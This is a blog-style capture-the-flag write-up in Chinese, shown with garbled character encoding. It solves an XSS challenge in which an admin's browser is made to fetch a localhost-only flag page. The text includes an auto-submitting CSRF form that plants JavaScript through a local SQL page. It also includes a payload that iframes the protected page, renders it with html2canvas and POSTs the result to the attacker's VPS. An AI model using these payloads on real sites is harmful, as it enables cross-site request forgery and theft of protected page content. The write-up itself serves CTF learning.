MySQL_Online(xss讀取目標(biāo)同源網(wǎng)頁(yè))

寫(xiě)在前面

巔峰極客挑戰(zhàn)賽中,做到檸檬師傅出的題,由于自己的js水平太渣渣,這個(gè)題做了很久,于是趕快寫(xiě)文記錄自己的解題過(guò)程。

描述

主要是XSS,網(wǎng)站中允許輸入一個(gè)地址,管理員會(huì)使用chrome瀏覽器打開(kāi)該網(wǎng)頁(yè)。并且該網(wǎng)站存在一個(gè)能寫(xiě)入js代碼的頁(yè)面,最后flag藏在一個(gè)頁(yè)面中,該頁(yè)面在服務(wù)器配置時(shí)設(shè)置只允許127.0.0.1訪問(wèn),其余為403錯(cuò)誤。

思路

通過(guò)對(duì)該網(wǎng)站寫(xiě)入js代碼,讓127.0.0.1訪問(wèn)我們寫(xiě)好js代碼的頁(yè)面,最后得到flag頁(yè)面。

過(guò)程

首先,先寫(xiě)一個(gè)自動(dòng)提交form表單的頁(yè)面

<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>

當(dāng)我們讓管理員訪問(wèn)這個(gè)頁(yè)面的時(shí)候,管理員就會(huì)post數(shù)據(jù)到本地的runsql.php頁(yè)面,這時(shí)runsql.php頁(yè)面上就會(huì)有我們的js數(shù)據(jù)

接下來(lái)構(gòu)造js:

<html>
  <body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
    <script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
    <script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
        html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;

  xmlhttp=new XMLHttpRequest();

xmlhttp.open("POST","your vsp",true);

xmlhttp.send(canvas.toDataURL());
});
    </script>
  </body>
</html>

這個(gè)頁(yè)面會(huì)自動(dòng)獲取同源網(wǎng)頁(yè)的頁(yè)面,然后發(fā)送到vps上。最后就能得到flag了。


admin_zzzz666.php
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 關(guān)于Mongodb的全面總結(jié) MongoDB的內(nèi)部構(gòu)造《MongoDB The Definitive Guide》...
    中v中閱讀 32,302評(píng)論 2 89
  • helloword
    204803閱讀 288評(píng)論 0 0
  • 有個(gè)女同學(xué),是個(gè)朋友圈狂,一天好發(fā)好幾十條朋友圈。其中發(fā)的內(nèi)容最多的就是罵學(xué)校垃圾,學(xué)校停電了,“這學(xué)校真垃圾,老...
    與話春閑閱讀 854評(píng)論 0 11
  • 七月不知不覺(jué)的過(guò)完了,雖然沒(méi)有全勤,但認(rèn)為我這個(gè)月也是收獲滿滿,在下個(gè)月一定要拿一個(gè)全勤,為自己。 簡(jiǎn)書(shū)ID:1路...
    1路有李閱讀 248評(píng)論 1 5
  • 藍(lán)云外,月亮盤(pán)腿靜坐 晚風(fēng)自醉,經(jīng)過(guò)轉(zhuǎn)世渡人的路燈 蛙鼓輕敲,百蟲(chóng)齊奏 夜的海 悄無(wú)聲息地收納了蟬江潮水 霓虹飽蘸...
    思陽(yáng)F閱讀 610評(píng)論 2 18

友情鏈接更多精彩內(nèi)容